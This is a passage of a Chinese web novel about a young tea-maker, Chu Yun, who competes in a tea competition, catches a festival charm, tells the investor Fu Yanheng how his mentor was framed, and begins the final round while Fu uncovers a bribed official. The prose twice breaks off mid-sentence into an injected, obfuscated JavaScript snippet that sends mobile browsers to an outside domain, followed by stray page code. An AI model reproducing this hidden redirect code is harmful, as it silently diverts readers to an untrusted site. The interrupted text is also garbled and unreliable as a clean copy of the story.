在他看不见的地方,梁淮脸上的表情变得有些晦涩难辨,但嗓音依旧温和:“那好,先提前祝你决赛取得好成绩,我们到时候见。” “谢谢。” . 与此同时,茶叶协会会长办公室。 面前的老人虽已两鬓霜白,但依旧神采奕奕,在那样不动声色的注视下,任何人都会感到一种莫大的压力。 吴润沉声汇报道:“……会长,按照我们原来的计划,下一步就是找人曝光楚韫和廖叙生的师徒关系,然后利用舆情给GLGA组委会施压,逼迫他退赛。但就在刚才,网上有关楚韫的所有话题都被人抹去了。” 说到这,他的背后起了一层细密的冷汗。之前他还觉得会长对付这个叫楚韫的小子有些小题大做了,直到现在,他才意识到对方的恐怖之处——他竟然已经预料到他们下一步的动作。 而且,不到半个小时就能把网上的信息删得一干二净,他背后是有多么强大的势力?? 余晋华看起来一点都不意外:“能查到是谁做的吗?” 吴润有些羞愧地摇头:“对方一点痕迹都没留下,我们根本抓不到任何蛛丝马迹。” 余晋华给他倒了杯茶,示意他坐下说话。 “这样啊。”余晋华手指在茶杯口上摩挲,像是在思索,“——陈家烨呢?” 吴润闭了闭眼,低头说道:“……还是被人抢先了一步。” “对面的速度太快了,我们几乎是第一时间就去了警局,但陈家烨当时就已经被保释带走了。我们去查了保释人,但对方也是拿钱办事,不知道上家是谁。” 余晋华手指用力,杯里的茶水洒了出来。他脸上的表情堪称平静,但吴润知道,他已经在发怒的边缘了。 ——不能再给楚韫任何侥幸逃脱的机会了,对方手里正掌握着越来越多对自己不利的证据。 “接着查,陈家烨绝对不能落在别人手里。” 吴润说了句是,就听余晋华接着说:“至于楚韫,我该送他一份什么样的大礼呢?” 老人面带微笑,吴润却觉得那更像吐着信子的毒蛇,缓缓地朝猎物张开了血盆大口。 . 因为有了某强大资方的助力,GLGA的赛程安排得不是很紧密,毕竟谁不想在比赛之余公费旅个游,只是苦于之前经费有限。 决赛安排在复赛的两天之后,沈清虽然在复赛就被淘汰了,但也只是伤心了两个小时,随即便兴致冲冲地邀请楚韫一起去当地的茶馆坐坐。 “你可别小瞧他家,在当地都是鼎鼎有名的,而且是开了一百多年的老字号,你不也开茶楼吗,就当取取经也行啊。” 楚韫本来正为陈家烨失踪的事情烦心,闻言呼出一口气,心想出去散散心也好,便答应了。 . 这家祥泰茶馆内部并不宽敞,却处处透露着妥帖的雅致。进门迎面就是柜台,茶馆伙计笑着指引道:“二位客人,先在这里选好茶叶,稍后我领你们入座。” 楚韫选了龙团珠,沈清选了邬桥当地最有名的翠溪眉。 现在是旅游淡季,还是工作日,因此茶馆内人不是很多。这伙计也机灵,听他们二人口音不是本地人,特意领着两人坐到了二楼靠窗的位置。 这里视野风景极佳,楼下便是邬桥最繁荣的桐楠古街,向下可看行人来来往往,西边即是邬桥最有名的翠溪山,远眺即见群峰苍郁翠绿。 心情舒展了少许,楚韫用指节敲了敲面前的八仙桌,叹道:“整块的老银杏木,现在都弄不到了。” 沈清“唔”了一声:“这些桌子都是古董了吧,木纹都包浆了。” 楚韫的目光却停留在墙角立着的一架掉漆的红木多宝阁上。沈清有些疑惑地顺着他的目光看去,只看到了一个平平无奇的……陶罐? “怎么了?” 楚韫的视力比较好,看清了上面贴着的标签—— 云栖竹露。 “二位客人,这是你们的茶。” 伙计把两盏盖碗稳稳放在两人面前,介绍道:“龙团珠,因外形圆润、颗粒均匀,宛如精心雕琢的珠玉而得名。入口品尝,滋味醇厚,叶底饱满肥厚,十分耐泡,每一泡都能品出不同层次的韵味。” “翠溪眉,芽叶修长如眉,带着溪石般的青碧色泽,是邬桥特有的中小叶种绿茶。入口先是微涩,转而泛起甘润,喉头萦绕着久久不散的清爽,恰有邬桥山水的灵气。” 伙计说了句“请慢用”,正要微笑着离开,就被楚韫开口叫住:“等一下。” 楚韫指了指多宝阁上面的陶罐,问道:“那里面装的是云栖竹露吗?” 伙计点了点头,明显是会错了意:“抱歉客人,那里的茶叶是我们现任老板收藏的,不向客人出售。” 楚韫喉结滑动了一下:“是廖叙生制作的吗?” 伙计有些讶异地看了他一眼,小声道:“……是的,因为廖大师去世后,市面上的云栖竹露就几乎绝迹了,所以当年留下的这些就变成了极其珍贵的收藏品。” 楚韫笑了笑,里面带了些伙计看不出来的情绪。 “知道了,替我谢谢你们老板。” 伙计有些费解,但依旧应下了。 “真是不虚此行,居然在这里见到了云栖竹露。” 沈清拿起盖碗啜饮一口,享受地眯起眼睛,随即突然想起了什么:“对了,你作为廖叙生的徒弟,手里是不是还有云栖竹露?” 楚韫正在用碗盖刮沫,瓷器摩擦间,发出清泠的响声。 “想多了。”袅袅升腾的水雾打湿了他的眉眼,“以前有过,现在没了。” 沈清刚想问什么叫“现在没了”,就听楼下隐隐有丝竹管弦之声传来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383313|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不知何时街上人多了起来,女子皆是广袖长裙、盛装打扮,街角的灯鳞次栉比地亮起,在一片灯火如昼中,桐楠古街已经盈满了欢声笑语。 沈清喊来伙计,好奇地问道:“今天是什么特殊的日子吗,我看楼下这么热闹。” 伙计笑道:“两位有所不知,今天是本地的茶仙节,也就是邬桥茶仙娘娘的生辰。聚福楼上有茶仙侍女向下扔茶绣球,接到绣球的无论男女,都能来这里领一碗翠溪眉。” “而且邬桥以茶发源,相传接到绣球者,年内会遇良缘或得茶神庇佑,家中茶园丰收。” 沈清听得颇为心动,撺掇楚韫:“我们去看看吧,正好你后天还有决赛,讨个好彩头也好。” 楚韫懒得戳穿他,但他实在是讨厌人太多的地方:“你自己去吧。” 沈清说:“别呀,万一茶仙娘娘真显灵了,让你决赛拿到好名次,不去岂不是后悔死。” “走吧走吧,”沈清亲昵地挽上他的胳膊,使出全身解数劝说:“你看,我们恰好在今天来到了这家茶馆,看到了你师父的云栖竹露,又恰巧碰到了一年一度的茶仙节,肯定是冥冥之中自有天意——” “好好好,去去去。” 楚韫皱起眉,不动声色地把自己的胳膊抽出来。 沈清拿捏了他的弱点,得逞地松开手,高兴道:“太好了,那我们快走吧!” . 聚福楼上,茶仙侍女双手拿着一个用五彩丝线缠成的茶绣球,带着笑意的目光在楼下熙熙攘攘的众人间逡巡。突然,像是看见了什么,她的目光定格一瞬,笑意更深。 伴随着一阵悠扬的笛箫合奏,茶仙娘娘的生辰到了。茶仙侍女悠悠唱起祝辞:“引泉润茶、授艺传薪,护得溪清茶茂、绣巧人宁。今岁花簪映日,茶球传福,满街欢语皆心意。祈娘娘常佑此方水土,茶香永续,岁岁安宁。” “敬茶仙娘娘——” 话音落下,茶仙侍女略微踮起脚,瞄准人群中一道白色的身影,轻轻一抛—— “好浓厚的氛围,”沈清正感叹着:“我一个外地人都想跟着信奉茶仙娘娘了。” 他们来得有些晚了,靠近聚福楼的位置已经挤满了人,他们只能站到后面。 楚韫也被当地的风俗感染,正入神地听着祝辞,下一秒,伴随着周围的惊呼声,身前的空气被搅动,一只五彩斑斓的绣球蓦然闯进他的视野—— 楚韫下意识一抬手,象征着好运与庇佑的茶绣球就这样被他稳稳接在了手里。 “……” 远处聚福楼上,茶仙侍女笑吟吟地说:“恭喜这位公子了,今年茶仙娘娘的祝福降临在你的头上,希望你也能将这份好运传递给其他人。” 周围响起一片欢呼叫好声。最初的怔愣过去,楚韫仰头看去,与那位茶仙侍女的目光对了个正着。他笑了笑,虽然知道对方应该看不见,但还是用口型说了句“谢谢”。 温暖明亮的灯火下,年轻人看起来不再那么清冷而遥不可及,而是从眉梢眼角都透露出一种淡淡的柔和气息。 茶仙侍女定定地看了几秒,也朝他扬起一个笑容。 窗外的欢呼声不绝于耳,男人在二楼垂眼看去,恰好把那遥遥对视的二人收进眼底。 两人脸上都带着笑,看起来像一对登对的璧人,尤其是年轻人的手上还拿着一只彩色的绣球。 明艳的颜色,他却只觉得刺眼无比。 “傅总,这是当地特色的翠溪眉,您尝尝。” 傅砚珩收回目光,没动面前的茶盏,直截了当地说:“程总,特意跑一趟,有什么话就直说吧。” 那个程总心里忐忑,但脸上一直堆着笑:“您也知道,我们集团那套老旧的数据分析系统,最近总出岔子,上周差点耽误了海外订单。亿恒的智能分析引擎已经达到了国际顶尖的水准,您看能不能……” 傅砚珩难得有些出神,一时没说话,程总却把他的沉默当成了一种暗示。 “您放心,价钱什么的都好说!比市场价高两成怎么样?剩下的条件您尽管提,只要能给我一个机会——” 傅砚珩抬手制止了他的话音:“不必。” 他突然觉得有些心烦意乱,但整个人看上去仍是平静的:“让你们的技术团队明天先把系统日志发过来,我们评估后再决定是否合作。” 说完,他朝对方点了点头,便起身走出了包厢。 . 沈清看起来比楚韫还要激动:“你看!我就说吧!!” “要不是我的坚持,你可就错过了茶仙娘娘的赐福,那该是多大的损失!” 楚韫捂住耳朵,无奈道:“好了好了,你英明神武、未卜先知。” 沈清刚要昂首挺胸,就见两人前面突然立了一道高大的身影。 沈清看到男人的第一秒:我艹,好帅。 下一秒,他就感受到了对方极具压迫感的视线,不动声色地打量着他,让他头皮一阵发麻。 “朋友吗?” 很柔和的语气,和他散发出来的气息大相径庭。 沈清心想我也不认识你啊,就听身边楚韫:“嗯。” 沈清:?!! 感情你俩是一伙的啊。 傅砚珩看了眼表,嗓音低沉,莫名的蛊惑人心:“时间不早了,你不是向来早睡吗,回去休息吧。” 楚韫这才注意到时间,其实才八点多,但他也确实不想再逛了。 沈清看这两人的互动,逐渐咂摸出点味来,但更重要的是他可不想顶着那风霜刀剑般的目光一路走回酒店。 “咳,那什么,你们先回去吧,我还想再逛逛。” 傅砚珩淡淡看他一眼,楚韫点点头:“那我们就先走了。” 沈清心想你们可快走吧,干笑着和他说了句“再见”,随即就像一尾灵活的鱼,飞快地融入了人群之中。 27. 坦白 “坐我的车回去吧。” 街边停着那辆熟悉的穆莱纳,闻时恭恭敬敬地给自家老板和楚韫拉开车门,楚韫偏头对他说了声“谢谢”,然后闻时就突然感受到自家老板似乎凉凉地看了他一眼。 闻时一头雾水地坐到驾驶座上,提心吊胆而又小心翼翼地问道:“傅总,回酒店吗?” 傅砚珩“嗯”了一声,换做别人肯定听不出来这短短一个字里面的玄机,但闻时作为跟了傅砚珩七年的行政助理,对于自家老板的任何情绪变化都堪称明察秋毫。他心里“咯噔”一下,心想难道是今晚那个程总让傅总生气了? 宾利行驶在道路上,楚韫随口一问:“今天怎么换闻时开车了?” 闻时透过后视镜,看自家老板没有回答的意思,便解释道:“傅总给司机放了年假,这两天就由我来负责驾驶工作。” 话音刚落,他就看到傅砚珩微微皱了下眉,随即车厢内的挡板就升了起来。 闻时:“……” 怎么办,是我太吵了吗,傅总是不是要把我开除了呜呜呜。 楚韫自然也察觉到了傅砚珩心情不佳,正想找个话题缓解一下车内冰封的氛围,就听傅砚珩率先开口了:“今天玩得开心吗?” 明明是一个再正常不过的问句,但楚韫敏感的神经像是被拨动了一下,总觉得哪里有点不对劲。 “嗯,”他很诚恳地如实回答:“本来是去一家茶馆喝茶的,结果正好碰上了这里的茶仙节,沈清就拉着我去看了。” “而且很幸运,茶仙侍女的茶绣球正好扔进了我的手里。当地人都说这样就能获得茶仙娘娘的保佑。” 楚韫发自真心的感叹:“我好像好多年都没有像今晚这样幸运了。” 他能感觉到,说完这句话后,傅砚珩身上的气息明显柔和了许多。 傅砚珩笑了笑:“我之前不是说了吗,你的幸福和好运只是被积攒起来了,从今往后你会一直顺利的。” 楚韫之前一直觉得那只是一句安慰的话,不管如何,至少在今晚,傅砚珩的这句话成真了。 傅砚珩突然说:“其实之前我就看到你了,当时我就在不远处一家茶馆的二楼和人谈生意,正好看到了你们抛接绣球。” 他状似不经意地问:“我看你看了那个茶仙侍女好久,喜欢那样的女生?” 楚韫努力回想了半天也没想起来自己什么时候“看了茶仙侍女好久”,他们唯一的目光交汇还是自己向她表示感谢的时候。至于“喜欢”,简直就是无稽之谈。 他没说话,在傅砚珩眼里就是默认。他正要开口,就听楚韫说:“首先,我看茶仙侍女是想向她表示感谢,因为接到茶绣球,我很开心。其次,她也不是我的理想型。” 我喜欢的是你。 短短一段话,将一颗不断下沉的心从地狱中挽回。傅砚珩短促地笑了下:“好。” 楚韫说完才觉得自己是不是有点小题大做,人家应该只是随口一问,他的反应倒像是有点过激了。 “……话说回来,你这么出现在沈清面前没事吗?”楚韫突然想起来这事,“万一他认出来你是谁,误会我们之间有不正当关系怎么办?” “什么不正当关系?” 傅砚珩被楚韫的这种说法逗笑了,饶有兴致地问。 楚韫一时没反应过来其中深意,有些莫名其妙:“就是资方和选手的那种不正当关系啊,别人会认为傅总投资比赛是为了给选手撑腰,传出去多影响你的风评。” 但事实的确如此。 傅砚珩一手支着下颌,微笑着说:“那挺好的。” 楚韫:“……” 傅砚珩对上那张表情生动的脸,解释道:“放心,沈清背景很干净,牵扯不到其他势力。而且就算他知道了也没关系,反正不会有机会往外散布。” 楚韫醉酒之后的第二天,那晚行政酒廊的监控视频就被发到了他的邮箱。他知道楚韫是和沈清聊完天之后才出现异样的,于是立刻让人着手去查对方的背景。 窗外灯火葳蕤,邬桥被笼罩在神明的庇护下,流露出无限的安宁和幸福。 楚韫“嗯”了一声,想了想,还是试探着问道:“你今天因为什么不开心啊?” 傅砚珩顿了一下,沉默了很久。就在楚韫以为他不会回答的时候,傅砚珩的目光沉沉地盯着他,说道:“因为我今天才意识到,我有多贪得无厌。” 他和楚韫连关系都没有确定。 他不知道楚韫对自己到底有没有感觉。 他甚至不确定楚韫的性取向是男是女。 然而就算是这样,他依旧把楚韫圈进了自己的牢笼,企图在他身上打下独属于自己的烙印,不让任何人看他、碰他、爱慕他。 他的光芒和风姿可以被世间所见,但这个人从里到外只能被他私藏。 “明明是不属于我的东西,我却千方百计想要得到,一旦到了我手里,那就谁也抢不走,连觊觎都不允许。” 楚韫静静地看着傅砚珩,那双墨黑的瞳孔里倒映着他的脸。 “很可怕是不是。”傅砚珩低笑了一声,楚韫很少看到他流露出这样的表情,和那个雷电交加的暴雨夜如出一辙——如出一辙的疲倦、无可奈何、自我厌弃。 “算了,”傅砚珩说:“你就当我因为工作上的事情和你说了这些,不用当真。” . “轰隆——” 回到酒店房间,楚韫洗完澡出来,正擦着发梢的水珠,就听外面突然传来了闷雷声。 他手上动作顿了一下,有些心不在焉地看着镜中被水雾模糊的脸,脑海里全是刚才傅砚珩说话时的神情、语气。 头发被擦得半干,楚韫听着外面哗哗的雨声,没什么表情地把毛巾投进了脏衣篓,随后去行李箱里翻翻找找,居然真的找到了一套陆俨给他带的便携式茶具。 门铃被按响的时候,傅砚珩刚刚洗完澡,随手披了件浴袍问道:“谁?” 门外传来闷闷的声音:“是我。” 傅砚珩本来正在系腰间的带子,闻言手上松松垮垮挽了个结,就给人开了门。 于是楚韫一进门就看到某极具视觉冲击力的限制级画面。 他有些不自在地偏了下头:“……抱歉,不知道你在洗澡。” 傅砚珩低笑了一声:“没事。” 他的目光下移,落在楚韫抱着的一堆东西上:“这是——?” 楚韫有些含糊地说:“外面下雨了,我们来喝茶吧。” “正好你不是一直想学泡茶吗,给你个实践的机会。” 傅砚珩一下子就明白了他的意思,心里叹气。 怎么会有这么傻的人,哪怕刚刚知道了他骨子里的劣根性,也还是愿意因为这样的天气来找他。 “好,你等我一下。” 楚韫秉持着非礼勿视的原则,眼睛一直盯着地板,直到对方进了洗手间,才走过去把手上的茶叶茶具放到客厅的茶几上。 . 水壶里的水咕嘟咕嘟地沸腾着,伴随着“叮”的一声跳闸声,傅砚珩换好了睡衣走出来。 楚韫把水壶端过来,看到对方的第一眼差点把滚烫的沸水洒出来。 傅砚珩穿了一件黑色丝质睡衣,袖口挽起,露出一段精壮有力的小臂。这件衣服本来很正常,但因为上面有两颗扣子没有扣上,锁骨和胸膛都若隐若现,就变得又涩又欲。 楚韫已经确定了,这人多半是来勾引他的。 他耳朵微红,把桌上那罐茶叶推过去:“我只带了一包茉莉花茶,是今年新做的。你从取茶开始,大概三克就好。” 傅砚珩看了一下手边的工具,拿起一把茶则:“用这个吗?” 楚韫“嗯”了一声,傅砚珩凭感觉舀了茶叶,放进公道杯中。 “泡茉莉花茶合适的水温通常在85℃到90℃之间,现在的水温就差不多,可以注水了。” 傅砚珩拿起水壶,慢慢往公道杯里注水。楚韫接着说:“判断出汤的时间,就是要看什么时候茶香和茉莉花香真正地舒展开,这一步全靠感觉,不看时间。” 傅砚珩说:“原来是这样,我上次自己泡的时候,就是掐着时间出汤的,怪不得差点意思。” 热气氤氲,茉莉花茶的清香缓缓逸出,傅砚珩拿起茶漏,将茶水倒进两人杯中。 “这次出门只带了这套简易的茶具,你先感受一下。” 傅砚珩将茶漏里的茶叶拨回公道杯,说:“楚老师茶艺精湛,无论什么茶具都教得很好。” 窗外又响起滚滚雷声,雨似乎越下越大了。 楚韫看到傅砚珩手上的动作顿了一下,随即像是什么事都没发生一样,依旧平稳。 楚韫沉默了一下,突然开口:“我好像还没和你讲过我自己的事情吧。” 他的头发还带着点潮意,软软地趴在那里,看起来莫名有点可爱。傅砚珩却像是预料到了什么,心跳快了几分。 “你可能不知道,其实我从小就没有父亲。从我记事开始,我唯一的家人就只有我妈妈。后来在我九岁的时候,我妈妈在家里自杀了。我成了孤儿,进了一家福利院。” 傅砚珩想起了他曾经看过的那份关于楚韫的档案。 楚韫回想起悠远的童年时光,一切都是褪色的、陈旧不堪的,像一张陈年的信纸,薄薄的一触即碎。 “那个时候,因为刚刚目睹我妈妈的死状,我在很长一段时间里产生了自闭倾向,不愿意和别人交流,总是喜欢一个人待着。福利院里有一些顽皮的孩子,会因为我的孤僻而欺负我,他们给我起外号叫‘小哑巴’,还经常抢我的饭吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383314|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,撕碎我为数不多的几本书。” 傅砚珩一瞬不瞬地注视着他,心里却像插进了一把刀子,蔓延上血肉模糊的疼痛。 “这样的生活持续了一年,有一天,我师父来到了我所在的这家福利院。他和院长说,他要领养一个孩子,然后院长也知道他的身份,就把院里所有看起来机灵可爱的孩子都介绍给他,但不知道为什么,他一个也没看上。” 楚韫声音很轻,像是某种碎裂的前兆:“后来,他在参观福利院的时候看到了我。当时我正一个人缩在阅览室的角落里看书,我现在还记得,那是本茶叶科普类的著作,以至于我后来一度以为,我师父收养我就是因为这样奇妙的缘分和共鸣。” “所以你现在应该能理解,为什么我会把师父看得如此重要,因为是他把我从地狱里拽了回来,给了我一个家。” 楚韫摸了摸杯壁,忽然一笑:“可以喝了。” 傅砚珩第一次觉得楚韫的茉莉花茶毫无滋味。 楚韫的茶杯空了,傅砚珩便再次注水,等待时机合适出汤,给两人的杯里重新添上。 “后来我师父看我天赋不错,就收我为徒,教我怎么制作茶叶。那时候我上面还有一个师兄,叫宋清峦。” 知道,那个对你有非分之想的人渣。傅砚珩冷着一张脸想。 楚韫淡声说:“我一天天长大,在我十五岁那年,我师父用毕生精力研制出的云栖竹露面世了。云栖竹露受到了市场的巨大欢迎,也把我师父送到了茶界极高的位置,但我师父不在意那些,他只是想一辈子安安静静做好茶。” 那是廖叙生事业的高峰,也是他这辈子的巅峰。因为几年之后,凝聚着他全部心血的云栖竹露将他拉进了无尽的深渊。 “好景不长,我二十一岁那年,我师父的云栖竹露突然被爆出质量存在严重问题,那时我刚刚参加完‘天工盏’的比赛。有一个行业里的资深茶评人在网上发布了测评视频,称现在的云栖竹露已经失去了与茶叶融为一体的竹香,变得浮躁不堪。” “我师父知道了这件事后,立刻开始一个环节一个环节地排查生产线,但始终没查出什么。” 楚韫冷笑:“但其实是余晋华买通了生产线工人,宋清峦给了他权限,他们又把制造出来的问题伪装成流水线不稳定的假象。但这些其实都不重要了,因为很快,茶界一位非常权威的茶科所专家出面指责我师父道德败坏,几乎就是坐实了那个茶评人的话。” 傅砚珩突然开口,语气晦涩难辨:“这就是余晋华所用的舆论手段……所以你之前才会让我删掉网上所有有关你的视频。” 楚韫看起来很轻松,也很平静,但傅砚珩突然很想拥抱他。 “是这样的,”他说:“但这些证据已经彻底找不到了,因为那位茶科所专家当时就已经年纪很大了,没过两年就去世了。至于那个茶评人,他当时说的也是实话,只不过是被余晋华当枪使了。” 他说着,突然唇边被递了一杯茶,傅砚珩说:“润润嗓子。” 楚韫也不知道自己当时是怎么了,就那么鬼使神差地就着傅砚珩的手喝了。反倒是傅砚珩看到他这样,露出一点笑意。 “我师父是顶尖的茶叶制作师,但他一辈子都没学会阴谋算计和险恶人心。” 窗外的雨不知何时停了,但对于屋里的人来说,它似乎已经不能影响什么了。 楚韫垂眸道:“我师父不能忍受他引以为傲的云栖竹露就这样被泼上脏水,于是在一场斗茶大会上,急于自证的他拿出了自己收藏的百年老丛,希望以此挽回云栖竹露的声誉。但他怎么都没想到,他最信赖的弟子早就背叛了他,提前在茶叶里做了手脚。” “我师父充满希望的自证,将他彻底推向了万劫不复的境地。” “但真正的致命一击,还是雪听松风被冠以他人姓名,成了他人手中的杰作。” 傅砚珩已经大致猜到了始末:“宋清峦把雪听松风的技艺泄露给了余晋华,是吗?” “没错,”楚韫微微颔首,这一刻他眼里失去了所有的情绪,“我师父研制雪听松风的时候,有意让宋清峦在旁边揣摩学习,结果到头来,他的苦心变成了刺向他自己的利刃。” “因为我师父始终觉得不完美,所以一直没有向外界公布雪听松风的成品茶,余晋华便先下手为强,抢先将并不完善的雪听松风公之于世。” 傅砚珩之前再不关注茶界,也知道赫赫有名的雪听松风,这款茶在外界的评价极高,特级的雪听松风已经到了有钱都买不到的地步。 但谁能想到,这只是一个半成品。 那些不堪的、狰狞的真相被揭开,傅砚珩终于意识到,在这条荆棘遍布的道路上,楚韫已经孑然一身行走了多久。 ——他一直都是孤独的复仇者,颠沛流离于这世间。 28. 决赛 那天他们聊到很晚,从一开始楚韫说起他师父,到后来傅砚珩和他讲了一些刚接手公司时的事情,楚韫听了一阵,困得眼睛都要睁不开了,但还是强撑着听他说话。 最后还是傅砚珩见他蔫蔫的样子,赶他回去睡觉,临走时楚韫还差点磕到柜角,幸好傅砚珩眼疾手快帮他挡了一下。 一场雷雨过后,云移月现,天地都变得静谧。没有借助药物,傅砚珩第一次在清醒的状态下陷入安稳的睡眠。 没有雪亮的刀光,没有坏人癫狂的大笑,也没有那些泄愤般的伤口。 梦里只有令他安心的茉莉花香。 . 两天时间一晃而过,终于到了GLGA的决赛。 与初赛和复赛相比,决赛最直观的困难就是比赛时间不是几十分钟,也不是几个小时,而是整整一天——从早上八点开始,到下午五点结束,除了中间一顿盒饭,剩下的时间里,各个选手都要在单独的房间里进行茶叶制作,手机要上交,一举一动都落在别人眼里,用沈清的话讲,这简直就是“坐牢”,和古代大学子们的科举差不多。 虽然复赛中关于楚韫的视频在网上凭空蒸发,但并不影响一大早照样有很多人涌入GLGA的直播间。 【比赛还没开始,我们先来猜猜今年谁能能夺冠吧。】 【前面的,这可真不好说,你看看今年的选手哪个是好惹的,简直就是神仙打架好吗。】 【不管了,反正我站楚韫,复赛的时候他真的给我留下了非常深刻的印象。】 【呵呵,我看未必,讲真的这几年中国年轻一辈的茶叶制作师中,最有名气的还是宋清峦,他做出来的成就也是有目共睹。】 【+1,而且楚韫销声匿迹了这么多年,谁知道他干嘛去了,更何况他师父可是廖叙生......懂的都懂。】 【我看了艾略尔特复赛的直播,这位才是真正的怪物吧,技术简直甩了别人一大截,复赛好像也是他成绩最高吧。】 【都别吵了,反正作为看过初赛直播的知情人,我是绝对不会支持泽田宽美的,不管她是输是赢。】 【怎么了怎么了,我是新来的,快给我讲讲。】 弹幕众说纷纭,GLGA组委会也属实没想到今年观看直播的人数会有这么多,说到底还是楚韫带来的人气。 组委会主任沉吟片刻,偏头对秘书长说:“你觉得他能拿到前三吗?” 秘书长眸光闪烁,回答:“这个真不好说。” “其实我一直有意把GLGA进行跨界推广,你也知道,现在市场和消费者更加偏向于新式茶饮,整个茶叶行业的驱动力也在于这些新式茶饮。但传统茶叶呢?” 组委会主任苦笑道:“时代在进步,我不否认茶叶应该创新。但近年来茶叶的创新始终是通过引入其他材料来进行气味和口感的复合,却很少在工艺基础上对茶叶进行变革。” 他叹气:“你想想,有多少人是真正关注茶叶本真和原味的?似乎在‘创新’之下,这些都不重要了,只要能获得那些让人眼前一亮的新口味,茶叶本身的优劣都无足轻重。” “GLGA向来最重视创新,但之前的几届比赛里,没有选手真正理解组委会想要表达的‘创新’的真正含义。” 秘书长似乎明白了什么,就听他接着说:“‘创新’一定是在‘初心’基础上的,否则一切就都是镜花水月。我想要通过这届比赛,向茶界传达这样一个信号。我私心里希望楚韫能拿到一个好名次,因为他是这几届中鲜有的破圈选手,我希望借助他的影响力,让大众明白GLGA赛事的真正理念,让茶叶制作回到正轨。” 这位组委会主任已经连续主持了四届赛事,秘书长明白他的野心和不甘,张了张嘴,想要说些什么,但终究保持了沉默。 凭借一场比赛动摇茶界这么多年来的发展方向,这简直就是天方夜谭。 更何况他注定要失望了。秘书长看着弹幕上不时飘过的“楚韫”两个字,面无表情地想。 . “……每位选手会被分配到不同的制作间进行单独的茶叶制作,每个制作间里的原料也各不相同。选手需要在规定时间内完成成品茶的制作,期间组委会会进行全程监控和实况直播,避免出现作弊现象。” “现在各位选手可以进入各自的制作间了,本届GLGA决赛的主题将在八点整出现在制作间前的电子屏幕上。” 裁判长话音落下,十位选手分别进入不同编号的制作间。 桌子上摆放着几种原料,楚韫在看到的第一眼就顿住了。 黄山毛峰、安吉白茶、竹段、竹叶、竹沥。 ——这是云栖竹露的制作原料,只不过是把明前雀舌绿茶换成了更符合时令的黄山毛峰。 墙上时钟走到八点整,电子屏幕陡然弹出决赛主题—— “溯洄”。 . 比赛已经开始了十五分钟,直播间里的观众眼睁睁看着其他选手已经开始杀青,但一道修长挺拔的身影仍然一动不动地立在那里,像是陷入了沉思。 有人开始唱衰: 【不会是不知道该怎么做了吧,也不过如此啊。】 【笑死,这就是你们吹捧的选手,开赛十五分钟了还像个木头一样杵在那。】 楚韫不知道直播间里的那些恶意,他只是一直在想,这次比赛的主题到底是什么意思。 余晋华在复赛用阴谋不成,到了决赛直接就改成光明正大的阳谋。但楚韫不得不承认,对方一直都很清楚自己的软肋是什么。无论是从心理角度来说,云栖竹露对他和廖叙生具有多么复杂的意义,以至于他看到这些原料的那一刻,那些陈年伤疤般的记忆瞬间涌现而出;还是从技术层面,廖叙生制作的云栖竹露已经成为了不可超越的经典,他根本不可能在短短九个小时内做出更好的成品。 这是敌人势在必得的致命一击,也是令他茫然无措的绝地死局。 . 时间一分一秒过去,楚韫依然没有动作。 一直关注着直播的沈清在屏幕前暗暗着急,和楚韫的毫无进度相比,其他选手已经快要进行到下一步了。 “这到底是怎么了。”沈清呢喃道。 就在这时,他看到弹幕上此起彼伏的对艾略尔特和宋清峦的讨论,基本全是溢美之词。虽然实话实说,那两人目前为止的表现确实干脆利落、赏心悦目,但沈清还是会为楚韫愤愤不平。 【嗐,要我是楚韫的话,干脆现在就弃权得了,简直是丢人现眼。】 沈清噼里啪啦地打字。 【前面的,人家是在构思,有在这喷人的功夫你怎么不上呢??】 他一口气回怼了好几条恶评,这才感觉气顺了点。以至于下一条弹幕飘过来时,他首先看到“楚韫”两个字,已经摩拳擦掌准备再次迎接战斗—— 【诶,楚韫有动作了!】 萎凋、杀青,楚韫的动作堪称行云流水、一气呵成。 溯洄,就是追寻过去,重拾本味。楚韫想,这应该就是组委会想传达的意思,因此他打算将更多的精力用在对茶叶本身的工艺上。从这一点出发,尽管原料相同,他手里的茶叶成品将不再是“云栖竹露”,而是走上一条脱胎换骨的新路。 楚韫将竹沥均匀地涂抹在竹筒内壁上,然后把竹筒放入冷藏柜中锁香。在等待的这段时间里,他将杀青后的黄山毛峰和安吉白茶干茶按照一定比例进行混合,做完这些,他便停下了手中动作,开始休息。 与此同时,总统套房里,空气已经降至冰点。 闻时又一次抬头确认空调温度确实是合适的25℃,而不是冻死人的-25℃。 傅砚珩从直播开始就一直关注着楚韫的比赛情况,和其他不明所以的观众不同,他知道楚韫为什么会整整半个小时没有动作。 闻时看着自家老板冰冷的脸色,小心翼翼地开口:“傅总,您让我调查的事情有结果了。” 他把手中的文件袋递给傅砚珩:“组委会的行政秘书长与他人勾结,私下进行违规交易,擅自篡改了楚韫的原材料。” “这是行政秘书长和那个人的交易记录,上面的时间都有标记,两人的聊天记录、电话录音也在里面。” 傅砚珩接过文件袋,从里面抽出那份资料,一页一页地翻看。 闻时斟酌着问道:“……要告知组委会主任,让他们来处理吗?” “不。”傅砚珩说:“事已至此,先不要打草惊蛇。” 当手里的筹码越来越多,每个人的位置终将悄然调换。不到最后一刻,谁也不能真正主导牌桌。 他的目光停留在一张转账单上,转账人一栏写着一个名字:Wu Run。 . 